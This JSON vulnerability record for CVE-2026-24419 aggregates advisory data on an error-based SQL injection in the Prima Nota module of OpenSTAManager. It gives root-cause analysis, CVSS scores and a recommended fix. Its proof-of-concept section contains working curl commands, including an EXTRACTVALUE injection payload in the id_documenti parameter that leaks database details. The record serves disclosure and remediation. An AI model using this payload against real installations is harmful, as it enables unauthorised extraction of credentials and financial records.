{"id":"CVE-2026-24419","aliases":["CVE-2026-24419","GHSA-4j2x-jh4m-fqv6"],"related":[],"kind":"vulnerability","state":"published","title":"OpenSTAManager has an SQL Injection in the Prima Nota  module","summary":"OpenSTAManager is an open source management software for technical assistance and invoicing. OpenSTAManager v2.9.8 and earlier contain a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module's add.php file. The application fails to validate that comma-separated values from the id_documenti GET parameter are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"OpenSTAManager is an open source management software for technical assistance and invoicing. OpenSTAManager v2.9.8 and earlier contain a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module's add.php file. The application fails to validate that comma-separated values from the id_documenti GET parameter are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nCritical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters.\n\n**Status:** ✅ Confirmed and tested on live instance (v2.9.8)\n**Vulnerable Parameters:** `id_documenti` (GET parameters)\n**Affected Endpoint:** `/modules/primanota/add.php`\n**Attack Type:** Error-Based SQL Injection (IN clause)\n\n### Details\n\nOpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module's add.php file. The application fails to validate that comma-separated values from GET parameters are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.\n\n**Vulnerability Chain:**\n\n1. **Entry Point:** `/modules/primanota/add.php` (Lines 63-67)\n   ```php\n   $id_documenti = $id_documenti ?: get('id_documenti');\n   $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];\n   ```\n   **Impact:** The `get()` function retrieves user-controlled URL parameters, `explode(',', (string) ...)` splits them by comma, but NO validation ensures elements are integers.\n\n2. **SQL Injection Point:** `/modules/primanota/add.php` (Line 306)\n   ```php\n   $id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];\n   ```\n   **Impact:** Array elements from `$id_documenti` are directly concatenated using `implode()` without type validation or `prepare()`, enabling full SQL injection. \n\n\n**Root Cause Analysis:**\n\nThe vulnerability exists because:\n1. `get('id_documenti')`  return user-controlled strings\n2. `explode(',', (string) $value)` splits by comma but doesn't validate types\n3. `implode(',', $array)` concatenates array elements directly into SQL\n4. No validation ensures array elements are integers\n5. Attacker can inject SQL by providing: `?id_documenti=1) AND EXTRACTVALUE(...) %23`\n\n**Affected Code Path:**\n```\nGET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD\n  ↓\nadd.php:63 - $id_documenti = get('id_documenti')\n  ↓\nadd.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]\n  ↓\nadd.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]\n```\n\n### PoC\n\n\n**Step 1: Login**\n```bash\ncurl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \\\n  -d 'username=admin&password=admin'\n```\n\n**Step 2: Verify Vulnerability (Error-Based SQL Injection)**\n\n**Test 1: Extract Database User and Version**\n```bash\ncurl -b /tmp/cookies.txt \"http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23\"\n```\n\n**Response (error message visible to attacker):**\n```html\n<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &#039;~osm@172.18.0.3 | 8.3.0&#039;</code>\n```\n<img width=\"1231\" height=\"405\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1657b844-281a-431b-8472-c81e4d90bf64\" />\n\n\n### Impact\n\nAll authenticated users with access to the Prima Nota (Journal Entry) module.\n\n\n### Recommended Fix\n\n**Primary Fix - Type Validation:**\n\nFile: `/modules/primanota/add.php`\n\n**BEFORE (Vulnerable - Lines 63-67):**\n```php\n$id_documenti = $id_documenti ?: get('id_documenti');\n$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];\n```\n\n**AFTER (Fixed):**\n```php\n$id_documenti = $id_documenti ?: get('id_documenti');\n$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];\n// Validate that all array elements are integers\n$id_documenti = array_map('intval', $id_documenti);\n$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs\n```\n\n### Credits\nDiscovered by Łukasz Rybak","format":"markdown","source":"ghsa"},{"lang":"es","text":"OpenSTAManager es un software de gestión de código abierto para asistencia técnica y facturación. OpenSTAManager v2.9.8 y versiones anteriores contienen una vulnerabilidad crítica de inyección SQL basada en errores en el archivo add.PHP del módulo Prima Nota (Asiento de Diario). La aplicación no valida que los valores separados por comas del parámetro GET id_documenti sean enteros antes de usarlos en cláusulas SQL IN(), lo que permite a los atacantes inyectar comandos SQL arbitrarios y extraer datos sensibles a través de mensajes de error XPATH.","source":"nvd"}],"published":"2026-02-06T18:05:42.332Z","modified":"2026-06-17T10:23:02.600Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":"<= 2.9.8","status":"affected"}],"vendor":"devcode-it","product":"openstamanager","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"2.9.8"}],"ecosystem":"Packagist","package":"devcode-it/openstamanager","purl":"pkg:composer/devcode-it/openstamanager","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"2.9.8"}],"vendor":"devcode","product":"openstamanager","cpe":"cpe:2.3:a:devcode:openstamanager:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4j2x-jh4m-fqv6","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24419","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/devcode-it/openstamanager","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-02-06T18:30:04.684Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-24419","url":"https://www.cve.org/CVERecord?id=CVE-2026-24419","licence":"CVE Terms of Use","modified":"2026-02-06T18:30:09.396Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-4j2x-jh4m-fqv6","url":"https://github.com/advisories/GHSA-4j2x-jh4m-fqv6","licence":"CC-BY-4.0","modified":"2026-02-10T01:34:03.346Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-24419","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24419","licence":"Public domain","modified":"2026-06-17T10:23:02.600Z"}],"updatedAt":"2026-11-25T22:59:13.559Z","epss":{"score":0.00382,"percentile":0.34285,"date":"2026-12-01T12:00:22.000Z"}}